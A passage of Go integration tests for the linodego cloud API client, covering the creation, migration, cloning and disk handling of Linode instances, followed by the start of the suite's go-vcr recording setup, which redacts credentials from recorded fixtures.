t.Errorf("Error creating instance snapshot: %v", err) } event, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeSnapshot, *instance.Created, 360) if err != nil { t.Errorf("Error waiting for instance snapshot: %v", err) } if event != nil && event.Status == linodego.EventFailed { t.Errorf("Error taking instance snapshot: Snapshot Failed") } return client, instance, snapshot, fixtureTeardown, err } golang-github-linode-linodego-1.47.0/test/integration/instances_test.go000066400000000000000000000724201474652371000262750ustar00rootroot00000000000000package integration import ( "context" "encoding/base64" "slices" "strconv" "strings" "testing" "time" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) type instanceModifier func(*linodego.Client, *linodego.InstanceCreateOptions) func TestInstances_List_smoke(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, "fixtures/TestInstances_List", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = "eu-west" // Override for metadata availability }, ) defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(1, "{\"id\": "+strconv.Itoa(instance.ID)+"}") linodes, err := client.ListInstances(context.Background(), listOpts) if err != nil { t.Errorf("Error listing instances, expected struct, got error %v", err) } if len(linodes) != 1 { t.Errorf("Expected a list of instances, but got %v", linodes) } if linodes[0].ID != instance.ID { t.Errorf("Expected list of instances to include test instance, but got %v", linodes) } if linodes[0].HostUUID == "" { t.Errorf("failed to get instance HostUUID") } if linodes[0].HasUserData { t.Errorf("expected instance.HasUserData to be false, got true") } if linodes[0].Specs.GPUs < 0 { t.Errorf("failed to retrieve number of GPUs") } } func TestInstance_Get_smoke(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Get", true) defer teardown() if err != nil { t.Error(err) } instanceGot, err := client.GetInstance(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting instance: %s", err) } if instanceGot.ID != instance.ID { t.Errorf("Expected instance ID %d to match %d", instanceGot.ID, instance.ID) } if instance.Specs.Disk <= 0 { t.Errorf("Error parsing instance spec for disk size: %v", instance.Specs) } if instance.HostUUID == "" { t.Errorf("failed to get instance HostUUID") } assertDateSet(t, instance.Created) assertDateSet(t, instance.Updated) } func TestInstance_GetTransfer(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_GetTransfer", true) defer teardown() if err != nil { t.Error(err) } _, err = client.GetInstanceTransfer(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting instance transfer, expected struct, got error %v", err) } } func TestInstance_GetMonthlyTransfer(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_GetMonthlyTransfer", true) defer teardown() if err != nil { t.Error(err) } currentYear, currentMonth := time.Now().Year(), int(time.Now().Month()) _, err = client.GetInstanceTransferMonthly(context.Background(), instance.ID, currentYear, currentMonth) if err != nil { t.Errorf("Error getting monthly instance transfer, expected struct, got error %v", err) } } func TestInstance_ResetPassword(t *testing.T) { client, instance, teardown, err := setupInstance( t, "fixtures/TestInstance_ResetPassword", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { boot := false options.Type = "g6-nanode-1" options.Booted = &boot options.RootPass = randPassword() }, ) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus( context.Background(), instance.ID, linodego.InstanceOffline, 180, ) if err != nil { t.Errorf("Error waiting for instance readiness for password reset: %s", err.Error()) } err = client.ResetInstancePassword( context.Background(), instance.ID, linodego.InstancePasswordResetOptions{ RootPass: randPassword(), }, ) if err != nil { t.Errorf("failed to reset instance password for instance with id %d: %v", instance.ID, err.Error()) } } func TestInstance_Resize(t *testing.T) { client, instance, teardown, err := setupInstance( t, "fixtures/TestInstance_Resize", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { boot := true options.Type = "g6-nanode-1" options.Booted = &boot }, ) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus( context.Background(), instance.ID, linodego.InstanceRunning, 180, ) if err != nil { t.Errorf("Error waiting for instance readiness for resize: %s", err.Error()) } err = client.ResizeInstance( context.Background(), instance.ID, linodego.InstanceResizeOptions{ Type: "g6-standard-1", MigrationType: "warm", }, ) if err != nil { t.Errorf("failed to resize instance %d: %v", instance.ID, err.Error()) } } func TestInstance_Migrate(t *testing.T) { client, instance, teardown, err := setupInstance( t, "fixtures/TestInstance_Migrate", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { boot := true options.Type = "g6-nanode-1" options.Booted = &boot }, ) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus( context.Background(), instance.ID, linodego.InstanceRunning, 180, ) if err != nil { t.Errorf("Error waiting for instance readiness for migration: %s", err.Error()) } upgrade := false err = client.MigrateInstance( context.Background(), instance.ID, linodego.InstanceMigrateOptions{ Type: "cold", Region: "us-west", Upgrade: &upgrade, }, ) if err != nil { t.Errorf("failed to migrate instance %d: %v", instance.ID, err.Error()) } } func TestInstance_MigrateToPG(t *testing.T) { client, clientTeardown := createTestClient(t, "fixtures/TestInstance_MigrateToPG") defer func() { clientTeardown() }() regions := getRegionsWithCaps(t, client, []string{"Placement Group"}) pgOutboundCreateOpts := linodego.PlacementGroupCreateOptions{ Label: "linodego-test-" + getUniqueText(), Region: regions[0], PlacementGroupType: linodego.PlacementGroupTypeAntiAffinityLocal, PlacementGroupPolicy: linodego.PlacementGroupPolicyFlexible, } pgOutbound, err := client.CreatePlacementGroup(context.Background(), pgOutboundCreateOpts) if err != nil { t.Fatalf("failed to create placement group: %s", err) } instanceCreateOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-" + randLabel(), RootPass: randPassword(), Region: regions[0], Type: "g6-nanode-1", Image: "linode/debian10", Booted: linodego.Pointer(true), PlacementGroup: &linodego.InstanceCreatePlacementGroupOptions{ ID: pgOutbound.ID, }, } instance, err := client.CreateInstance(context.Background(), instanceCreateOpts) if err != nil { t.Fatalf("failed to create instance: %s", err) } instance, err = client.WaitForInstanceStatus( context.Background(), instance.ID, linodego.InstanceRunning, 180, ) if err != nil { t.Errorf("Error waiting for instance readiness for migration: %s", err.Error()) } pgInboundCreateOpts := linodego.PlacementGroupCreateOptions{ Label: "linodego-test-" + getUniqueText(), Region: regions[1], PlacementGroupType: linodego.PlacementGroupTypeAntiAffinityLocal, PlacementGroupPolicy: linodego.PlacementGroupPolicyFlexible, } pgInbound, err := client.CreatePlacementGroup(context.Background(), pgInboundCreateOpts) if err != nil { t.Fatalf("failed to create placement group: %s", err) } upgrade := false err = client.MigrateInstance( context.Background(), instance.ID, linodego.InstanceMigrateOptions{ Type: "cold", Region: regions[1], Upgrade: &upgrade, PlacementGroup: &linodego.InstanceCreatePlacementGroupOptions{ID: pgInbound.ID}, }, ) if err != nil { t.Errorf("failed to migrate instance %d: %v", instance.ID, err.Error()) } pgInboundRefreshed, err := client.GetPlacementGroup(context.Background(), pgInbound.ID) if err != nil { t.Fatalf("failed to get placement group: %s", err) } pgOutboundRefreshed, err := client.GetPlacementGroup(context.Background(), pgOutbound.ID) if err != nil { t.Fatalf("failed to get placement group: %s", err) } require.Equal(t, pgInboundRefreshed.ID, pgInbound.ID) require.Equal(t, pgInboundRefreshed.Migrations.Inbound[0].LinodeID, instance.ID) require.Equal(t, pgOutboundRefreshed.Migrations.Outbound[0].LinodeID, instance.ID) if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Errorf("failed to delete instance: %s", err) } if err := client.DeletePlacementGroup(context.Background(), pgInboundRefreshed.ID); err != nil { t.Errorf("failed to delete placement group: %s", err) } if err := client.DeletePlacementGroup(context.Background(), pgOutboundRefreshed.ID); err != nil { t.Errorf("failed to delete placement group: %s", err) } } func TestInstance_Disks_List(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestInstance_Disks_List", true) defer teardown() if err != nil { t.Error(err) } disks, err := client.ListInstanceDisks(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance disks, expected struct, got error %v", err) } if len(disks) == 0 { t.Errorf("Expected a list of instance disks, but got %v", disks) } } func TestInstance_Disks_List_WithEncryption(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestInstance_Disks_List_WithEncryption", true, func(c *linodego.Client, ico *linodego.InstanceCreateOptions) { ico.Region = getRegionsWithCaps(t, c, []string{"Disk Encryption"})[0] }) defer teardown() if err != nil { t.Error(err) } disks, err := client.ListInstanceDisks(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance disks, expected struct, got error %v", err) } if len(disks) == 0 { t.Errorf("Expected a list of instance disks, but got %v", disks) } // Disk Encryption should be enabled by default if not otherwise specified for _, disk := range disks { if disk.DiskEncryption != linodego.InstanceDiskEncryptionEnabled { t.Fatalf("expected disk encryption status: %s, got :%s", linodego.InstanceDiskEncryptionEnabled, disk.DiskEncryption) } } } func TestInstance_Disk_Resize(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_Resize", true) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness for resize: %s", err) } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: "disk-test-" + randLabel(), Filesystem: "ext4", Size: 2000, }) if err != nil { t.Errorf("Error creating disk for resize: %s", err) } disk, err = client.WaitForInstanceDiskStatus(context.Background(), instance.ID, disk.ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness for resize: %s", err) } err = client.ResizeInstanceDisk(context.Background(), instance.ID, disk.ID, 4000) if err != nil { t.Errorf("Error resizing instance disk: %s", err) } } func TestInstance_Disk_ListMultiple(t *testing.T) { // This is a long running test client, instance1, teardown1, err := setupInstance(t, "fixtures/TestInstance_Disk_ListMultiple_Primary", true) defer teardown1() if err != nil { t.Error(err) } err = client.BootInstance(context.Background(), instance1.ID, 0) if err != nil { t.Error(err) } instance1, err = client.WaitForInstanceStatus(context.Background(), instance1.ID, linodego.InstanceRunning, 180) if err != nil { t.Errorf("Error waiting for instance readiness: %s", err) } disks, err := client.ListInstanceDisks(context.Background(), instance1.ID, nil) if err != nil { t.Error(err) } disk, err := client.WaitForInstanceDiskStatus(context.Background(), instance1.ID, disks[0].ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness: %s", err) } imageLabel := "go-test-image-" + randLabel() imageCreateOptions := linodego.ImageCreateOptions{Label: imageLabel, DiskID: disk.ID} image, err := client.CreateImage(context.Background(), imageCreateOptions) defer client.DeleteImage(context.Background(), image.ID) if err != nil { t.Error(err) } client, instance2, _, teardown2, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ListMultiple_Secondary", true) defer teardown2() if err != nil { t.Error(err) } instance2, err = client.WaitForInstanceStatus(context.Background(), instance2.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness: %s", err) } _, err = client.WaitForEventFinished(context.Background(), instance1.ID, linodego.EntityLinode, linodego.ActionDiskImagize, *disk.Created, 300) if err != nil { t.Errorf("Error waiting for imagize event: %s", err) } _, err = client.CreateInstanceDisk(context.Background(), instance2.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Image: image.ID, RootPass: randPassword(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk from private image: %s", err) } _, err = client.CreateInstanceDisk(context.Background(), instance2.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk after a private image: %s", err) } disks, err = client.ListInstanceDisks(context.Background(), instance2.ID, nil) if err != nil { t.Errorf("Error listing instance disks, expected struct, got error %v", err) } if len(disks) != 2 { t.Errorf("Expected a list of instance disks, but got %v", disks) } } func TestInstance_Disk_Clone(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_Clone", true) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness for disk clone: %s", err) } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Filesystem: "ext4", Image: "linode/debian10", RootPass: randPassword(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk for disk clone: %s", err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness after creating disk for disk clone: %s", err) } disk, err = client.WaitForInstanceDiskStatus(context.Background(), instance.ID, disk.ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness for disk clone: %s", err) } opts := linodego.InstanceDiskCloneOptions{} _, err = client.CloneInstanceDisk(context.Background(), instance.ID, disk.ID, opts) if err != nil { t.Errorf("Error cloning instance disk: %s", err) } } func TestInstance_Disk_ResetPassword(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ResetPassword", true) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness for password reset: %s", err) } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Filesystem: "ext4", Image: "linode/debian10", RootPass: randPassword(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk for password reset: %s", err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness after creating disk for password reset: %s", err) } disk, err = client.WaitForInstanceDiskStatus(context.Background(), instance.ID, disk.ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness for password reset: %s", err) } err = client.PasswordResetInstanceDisk(context.Background(), instance.ID, disk.ID, "r34!_b4d_p455") if err != nil { t.Errorf("Error reseting password on instance disk: %s", err) } } func TestInstance_NodeBalancers_List(t *testing.T) { client, _, _, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestInstance_NodeBalancers_List") defer teardown() if err != nil { t.Error(err) } privateIP := strings.Split(node.Address, ":")[0] instanceIPs, err := client.ListIPAddresses(context.Background(), nil) if err != nil { t.Error(err) } linodeID := 0 for _, instanceIP := range instanceIPs { if instanceIP.Address == privateIP { linodeID = instanceIP.LinodeID break } } if linodeID == 0 { t.Errorf("Could not find instance with node's IP") } nodebalancers, err := client.ListInstanceNodeBalancers(context.Background(), linodeID, nil) if err != nil { t.Errorf("Error listing instance nodebalancers, expected struct, got error %v", err) } if len(nodebalancers) == 0 { t.Errorf("Expected an list of instance nodebalancers, but got %v", nodebalancers) } } func TestInstance_Volumes_List(t *testing.T) { client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Volumes_List_Instance", true) defer teardown() if err != nil { t.Error(err) } volume, teardown, volErr := createVolume(t, client) _, err = client.WaitForVolumeStatus(context.Background(), volume.ID, linodego.VolumeActive, 500) if err != nil { t.Errorf("Error waiting for volume to be active, %s", err) } defer teardown() if volErr != nil { t.Error(err) } configOpts := linodego.InstanceConfigUpdateOptions{ Label: "go-vol-test" + getUniqueText(), Devices: &linodego.InstanceConfigDeviceMap{ SDA: &linodego.InstanceConfigDevice{ VolumeID: volume.ID, }, }, } _, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, configOpts) if err != nil { t.Error(err) } volumes, err := client.ListInstanceVolumes(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance volumes, expected struct, got error %v", err) } if len(volumes) == 0 { t.Errorf("Expected an list of instance volumes, but got %v", volumes) } } func TestInstance_CreateUnderFirewall(t *testing.T) { client, firewall, firewallTeardown, err := setupFirewall( t, []firewallModifier{}, "fixtures/TestInstance_CreateUnderFirewall", ) defer firewallTeardown() if err != nil { t.Error(err) } _, _, teardownInstance, err := createInstanceWithoutDisks( t, client, true, func(_ *linodego.Client, options *linodego.InstanceCreateOptions) { options.FirewallID = firewall.ID }, ) defer teardownInstance() if err != nil { t.Error(err) } } func TestInstance_Rebuild(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, "fixtures/TestInstance_Rebuild", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }, ) defer teardown() if err != nil { t.Error(err) } _, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeCreate, *instance.Created, 180) if err != nil { t.Errorf("Error waiting for instance created: %s", err) } rebuildOpts := linodego.InstanceRebuildOptions{ Image: "linode/alpine3.19", Metadata: &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("cool")), }, RootPass: randPassword(), Type: "g6-standard-2", } instance, err = client.RebuildInstance(context.Background(), instance.ID, rebuildOpts) if err != nil { t.Fatal(err) } if !instance.HasUserData { t.Fatal("expected instance.HasUserData to be true, got false") } } func TestInstance_RebuildWithEncryption(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, "fixtures/TestInstance_RebuildWithEncryption", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Disk Encryption"})[0] options.DiskEncryption = linodego.InstanceDiskEncryptionEnabled }, ) defer teardown() if err != nil { t.Error(err) } _, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeCreate, *instance.Created, 180) if err != nil { t.Errorf("Error waiting for instance created: %s", err) } rebuildOpts := linodego.InstanceRebuildOptions{ Image: "linode/alpine3.19", RootPass: randPassword(), Type: "g6-standard-2", DiskEncryption: linodego.InstanceDiskEncryptionDisabled, } instance, err = client.RebuildInstance(context.Background(), instance.ID, rebuildOpts) if err != nil { t.Fatal(err) } if instance.DiskEncryption != linodego.InstanceDiskEncryptionDisabled { t.Fatalf("expected instance.DiskEncryption to be: %s, got: %s", linodego.InstanceDiskEncryptionDisabled, linodego.InstanceDiskEncryptionEnabled) } } func TestInstance_Clone(t *testing.T) { var targetRegion string client, instance, teardownOriginalLinode, err := setupInstance( t, "fixtures/TestInstance_Clone", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { targetRegion = getRegionsWithCaps(t, client, []string{"Metadata"})[0] options.Region = targetRegion }) if err != nil { t.Fatal(err) } t.Cleanup(teardownOriginalLinode) _, err = client.WaitForEventFinished( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeCreate, *instance.Created, 180, ) if err != nil { t.Errorf("Error waiting for instance created: %s", err) } cloneOpts := linodego.InstanceCloneOptions{ Region: targetRegion, Type: "g6-nanode-1", PrivateIP: true, Metadata: &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("reallycooluserdata")), }, } clonedInstance, err := client.CloneInstance(context.Background(), instance.ID, cloneOpts) t.Cleanup(func() { client.DeleteInstance(context.Background(), clonedInstance.ID) }) if err != nil { t.Error(err) } _, err = client.WaitForEventFinished( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeClone, *clonedInstance.Created, 240, ) if err != nil { t.Fatal(err) } if clonedInstance.Image != instance.Image { t.Fatal("Clone instance image mismatched.") } clonedInstanceIPs, err := client.GetInstanceIPAddresses( context.Background(), clonedInstance.ID, ) if err != nil { t.Fatal(err) } if len(clonedInstanceIPs.IPv4.Private) == 0 { t.Fatal("No private IPv4 assigned to the cloned instance.") } if !clonedInstance.HasUserData { t.Fatal("expected instance.HasUserData to be true, got false") } } func TestInstance_withMetadata(t *testing.T) { _, inst, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_withMetadata", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Metadata = &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("reallycoolmetadata")), } options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }) if err != nil { t.Fatal(err) } t.Cleanup(teardown) if !inst.HasUserData { t.Fatalf("expected instance.HasUserData to be true, got false") } } func TestInstance_DiskEncryption(t *testing.T) { _, inst, teardown, err := setupInstance(t, "fixtures/TestInstance_DiskEncryption", true, func(c *linodego.Client, ico *linodego.InstanceCreateOptions) { ico.DiskEncryption = linodego.InstanceDiskEncryptionEnabled ico.Region = "us-east" }) if err != nil { t.Fatal(err) } t.Cleanup(teardown) if inst.DiskEncryption != linodego.InstanceDiskEncryptionEnabled { t.Fatalf("expected instance to have disk encryption enabled, got: %s, want: %s", inst.DiskEncryption, linodego.InstanceDiskEncryptionEnabled) } } func TestInstance_withBlockStorageEncryption(t *testing.T) { client, clientTeardown := createTestClient(t, "fixtures/TestInstance_withBlockStorageEncryption") inst, err := createInstance(t, client, true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Linodes", "Block Storage Encryption"})[0] options.Label = "go-inst-test-create-bde" }) require.NoError(t, err) defer func() { client.DeleteInstance(context.Background(), inst.ID) clientTeardown() }() // Filtering is not currently supported on capabilities require.True(t, slices.Contains(inst.Capabilities, "Block Storage Encryption")) } func TestInstance_withVPU(t *testing.T) { client, clientTeardown := createTestClient(t, "fixtures/TestInstance_withVPU") inst, err := createInstance(t, client, true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = "us-lax" options.Type = "g1-accelerated-netint-vpu-t1u1-s" options.Label = "go-inst-test-create-vpu" }) require.NoError(t, err) defer func() { client.DeleteInstance(context.Background(), inst.ID) clientTeardown() }() require.NotNil(t, inst.Specs.AcceleratedDevices) } func TestInstance_withPG(t *testing.T) { client, clientTeardown := createTestClient(t, "fixtures/TestInstance_withPG") pg, pgTeardown, err := createPlacementGroup(t, client) require.NoError(t, err) // Create an instance to assign to the PG inst, err := createInstance(t, client, true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = pg.Region options.PlacementGroup = &linodego.InstanceCreatePlacementGroupOptions{ ID: pg.ID, } }) require.NoError(t, err) defer func() { client.DeleteInstance(context.Background(), inst.ID) pgTeardown() clientTeardown() }() require.NotNil(t, inst.PlacementGroup) require.Equal(t, inst.PlacementGroup.ID, pg.ID) require.Equal(t, inst.PlacementGroup.Label, pg.Label) require.Equal(t, inst.PlacementGroup.PlacementGroupType, pg.PlacementGroupType) require.Equal(t, inst.PlacementGroup.PlacementGroupPolicy, pg.PlacementGroupPolicy) } func createInstance(t *testing.T, client *linodego.Client, enableCloudFirewall bool, modifiers ...instanceModifier) (*linodego.Instance, error) { if t != nil { t.Helper() } createOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-" + randLabel(), RootPass: randPassword(), Region: getRegionsWithCaps(t, client, []string{"linodes"})[0], Type: "g6-nanode-1", Image: "linode/debian12", Booted: linodego.Pointer(false), } if enableCloudFirewall { createOpts.FirewallID = firewallID } for _, modifier := range modifiers { modifier(client, &createOpts) } return client.CreateInstance(context.Background(), createOpts) } func setupInstance(t *testing.T, fixturesYaml string, EnableCloudFirewall bool, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, func(), error) { if t != nil { t.Helper() } client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, err := createInstance(t, client, EnableCloudFirewall, modifiers...) if err != nil { t.Errorf("failed to create test instance: %s", err) } teardown := func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } fixtureTeardown() } return client, instance, teardown, err } func createInstanceWithoutDisks( t *testing.T, client *linodego.Client, enableCloudFirewall bool, modifiers ...instanceModifier, ) (*linodego.Instance, *linodego.InstanceConfig, func(), error) { t.Helper() createOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-wo-disk-" + randLabel(), Region: getRegionsWithCaps(t, client, []string{"linodes"})[0], Type: "g6-nanode-1", Booted: linodego.Pointer(false), } if enableCloudFirewall { createOpts.FirewallID = GetFirewallID() } for _, modifier := range modifiers { modifier(client, &createOpts) } instance, err := client.CreateInstance(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test Instance: %s", err) return nil, nil, func() {}, err } configOpts := linodego.InstanceConfigCreateOptions{ Label: "go-test-conf-" + randLabel(), } config, err := client.CreateInstanceConfig(context.Background(), instance.ID, configOpts) if err != nil { t.Errorf("Error creating config: %s", err) return nil, nil, func() {}, err } teardown := func() { if terr := client.DeleteInstance(context.Background(), instance.ID); terr != nil { t.Errorf("Error deleting test Instance: %s", terr) } } return instance, config, teardown, err } func setupInstanceWithoutDisks(t *testing.T, fixturesYaml string, enableCloudFirewall bool, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, *linodego.InstanceConfig, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, config, instanceTeardown, err := createInstanceWithoutDisks(t, client, enableCloudFirewall, modifiers...) teardown := func() { instanceTeardown() fixtureTeardown() } return client, instance, config, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/integration_suite_test.go000066400000000000000000000202031474652371000300320ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "log/slog" "net/http" "os" "regexp" "strconv" "strings" "testing" "time" "github.com/stretchr/testify/require" "github.com/dnaeon/go-vcr/cassette" "github.com/dnaeon/go-vcr/recorder" "github.com/linode/linodego" "golang.org/x/oauth2" "k8s.io/client-go/transport" ) var ( optInTestPrefixes []string testingMode = recorder.ModeDisabled debugAPI = false validTestAPIKey = "NOTANAPIKEY" ) var ( testingPollDuration = 15 * time.Second testingMaxRetryTime = 30 * time.Second ) func init() { if apiToken, ok := os.LookupEnv("LINODE_TOKEN"); ok { validTestAPIKey = apiToken } if apiDebug, ok := os.LookupEnv("LINODE_DEBUG"); ok { if parsed, err := strconv.ParseBool(apiDebug); err == nil { debugAPI = parsed log.Println("[INFO] LINODE_DEBUG being set to", debugAPI) } else { log.Println("[WARN] LINODE_DEBUG should be an integer, 0 or 1") } } if envFixtureMode, ok := os.LookupEnv("LINODE_FIXTURE_MODE"); ok { if envFixtureMode == "record" { log.Printf("[INFO] LINODE_FIXTURE_MODE %s will be used for tests", envFixtureMode) testingMode = recorder.ModeRecording } else if envFixtureMode == "play" { log.Printf("[INFO] LINODE_FIXTURE_MODE %s will be used for tests", envFixtureMode) testingMode = recorder.ModeReplaying testingPollDuration = 1 testingMaxRetryTime = time.Duration(1) * time.Microsecond } } } func warnSensitiveTest(t *testing.T) { if testingMode == recorder.ModeReplaying { return } slog.Warn( fmt.Sprintf( "Test %s is a sensitive test. Ensure you validate and sanitize "+ "its generated test fixtures before pushing.", t.Name(), ), ) } // testRecorder returns a go-vcr recorder and an associated function that the caller must defer func testRecorder(t *testing.T, fixturesYaml string, testingMode recorder.Mode, realTransport http.RoundTripper) (r *recorder.Recorder, recordStopper func()) { if t != nil { t.Helper() } r, err := recorder.NewAsMode(fixturesYaml, testingMode, realTransport) if err != nil { log.Fatalln(err) } r.AddFilter(func(i *cassette.Interaction) error { delete(i.Request.Headers, "Authorization") return nil }) r.AddFilter(func(i *cassette.Interaction) error { delete(i.Response.Headers, "Date") delete(i.Response.Headers, "Retry-After") delete(i.Response.Headers, "X-Customer-Uuid") delete(i.Response.Headers, "X-Ratelimit-Reset") delete(i.Response.Headers, "X-Ratelimit-Remaining") delete(i.Response.Headers, "X-Spec-Version") return nil }) r.AddFilter(func(i *cassette.Interaction) error { re := regexp.MustCompile(`"access_key": "[[:alnum:]]*"`) i.Response.Body = re.ReplaceAllString(i.Response.Body, `"access_key": "[SANITIZED]"`) re = regexp.MustCompile(`"secret_key": "[[:alnum:]]*"`) i.Response.Body = re.ReplaceAllString(i.Response.Body, `"secret_key": "[SANITIZED]"`) re = regexp.MustCompile("20[0-9]{2}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-9]{2}:[0-9]{2}") i.Response.Body = re.ReplaceAllString(i.Response.Body, "2018-01-02T03:04:05") // re = regexp.MustCompile("192\\.168\\.((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\\.)(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])") // i.Response.Body = re.ReplaceAllString(i.Response.Body, "10.0.0.1") // re = regexp.MustCompile("^192\\.168/!s/((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])") // i.Response.Body = re.ReplaceAllString(i.Response.Body, "0.0.0.0") re = regexp.MustCompile("nb-[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}") i.Response.Body = re.ReplaceAllString(i.Response.Body, "nb-0-0-0-0") return nil }) r.AddSaveFilter(func(i *cassette.Interaction) error { re := regexp.MustCompile("AWSAccessKeyId=[[:alnum:]]{20}") i.Response.Body = re.ReplaceAllString(i.Response.Body, "AWSAccessKeyID=SANITIZED") i.Request.URL = re.ReplaceAllString(i.Request.URL, "AWSAccessKeyID=SANITIZED") return nil }) recordStopper = func() { r.Stop() } return } // createTestClient is a testing helper to creates a linodego.Client initialized using // environment variables and configured to record or playback testing fixtures. // The returned function should be deferred by the caller to ensure the fixture // recording is properly closed. func createTestClient(t *testing.T, fixturesYaml string) (*linodego.Client, func()) { var ( c linodego.Client apiKey *string ) if t != nil { t.Helper() } apiKey = &validTestAPIKey var recordStopper func() var r http.RoundTripper if len(fixturesYaml) > 0 { r, recordStopper = testRecorder(t, fixturesYaml, testingMode, nil) } else { r = nil recordStopper = func() {} } tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: *apiKey}) oc := 